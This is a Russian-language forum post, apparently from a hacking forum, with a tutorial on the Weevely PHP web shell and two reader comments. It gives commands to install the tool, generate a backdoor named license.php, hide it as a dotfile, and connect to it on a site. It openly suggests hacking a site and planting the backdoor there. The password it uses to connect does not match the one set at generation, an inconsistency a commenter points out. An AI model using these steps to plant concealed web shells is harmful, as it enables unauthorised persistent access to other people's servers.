Обзор вебшелла Weevely

[tabac]

Weevely – это веб-шелл командной строки, динамически распространяемый по сети во время выполнения, предназначен для удалённого администрирования и тестирования на проникновение. Просто закиньте PHP скрипт, и программа обеспечит похожий на ssh терминал даже в ограниченном окружении.

Возможности:

• Похожий на SSH терминал
• Запуск SQL консоли, завёрнутой на цель
• Пропуск HTTP трафика до цели через прокси
• Аудит безопасности настройки хоста
• Локальное монтирование целевой файловой системы
• Проведение сетевых сканирований завёрнутых на цель
• Выгрузка и загрузка файлов
• Порождение обратного и прямого TCP шелла
• Брут-форс внутренних служб
• Управление сжатыми архивами
• Агент бэкдора

Забрать его можно тут:

GitHub - epinna/weevely3: Weaponized web shell

Weaponized web shell. Contribute to epinna/weevely3 development by creating an account on GitHub.

github.com

С инструментом познакомились, теперь будем устанавливать его.
В некоторых дистрибутивах Linux, он установлен. Поможем тем, у кого его нету.
Для начала, обновимся

apt-get update

Далее, устанавливаем необходимые пакеты и зависимости

sudo apt-get install g++ python-pip libyaml-dev python-dev

sudo pip install prettytable Mako PyYAML python-dateutil PySocks --upgrade

Теперь качаем репозиторий с гитаба

git clone https://github.com/epinna/weevely3

После скачивания, переходим в ее папку и смотрим список файлов

cd weevely3 && ls

Видим питоновский скрипт инструмента weevely.py. Его и запускаем

python weevely.py

Как мы видим, у инструмента есть три команды.

1. Подключиться к существующему бэкдору
2. Восстановить существующую сессию подключения
3. Сгенерировать новый бэкдор

Пока что, у нас нету на сервере бэкдора, поэтому, создадим новую папку и в нем сгенерируем новый бэкдор

mkdir backdoor

И генерируем

python2 weevely.py generate codeby backdoor/license.php

Видим что создался php скрипт, а точнее веб-шелл. Сделаем его не видимым для некоторых лиц, добавив в начале названия точку

Переходим в папку с бэкдором и переименовываем

mv license.php .license.php

К чему мы и стремились, при простом просмотре списка файлов с помощью команды ls, мы ничего не увидели. Однако если выполнить команду ls -la, мы увидим абсолютно все файлы в определенной директории.

Наш backdoor готов. Осталось хакнуть какой-то сайт и спрятать наш бэкдор там.


Для теста, подойдет локальный сервер. Загружаем скрипт на сервер и подключаемся к нему

python2 weevely.py http://site.ru/.license.php password1234

http://site.ru/.license.php - полный путь до бэкдора
password1234 - пароль для коннекта к бэкдору, который мы указывали при генерации

weevely> ls

inc
index.php
server.php

Готово! Вот мы законнектились к бэкдору.

 

[Кузя]

а езть версея, хде траф шифруеццо?

 

[kadoni]

python2 weevely.py generate codeby backdoor/license.php

password1234 - пароль для коннекта к бэкдору, который мы указывали при генерации

:smile12: статья зачет автор молодец.Такую классную статью написал.странно, что пароли пер**ались и что за странный пароль codeby :eek: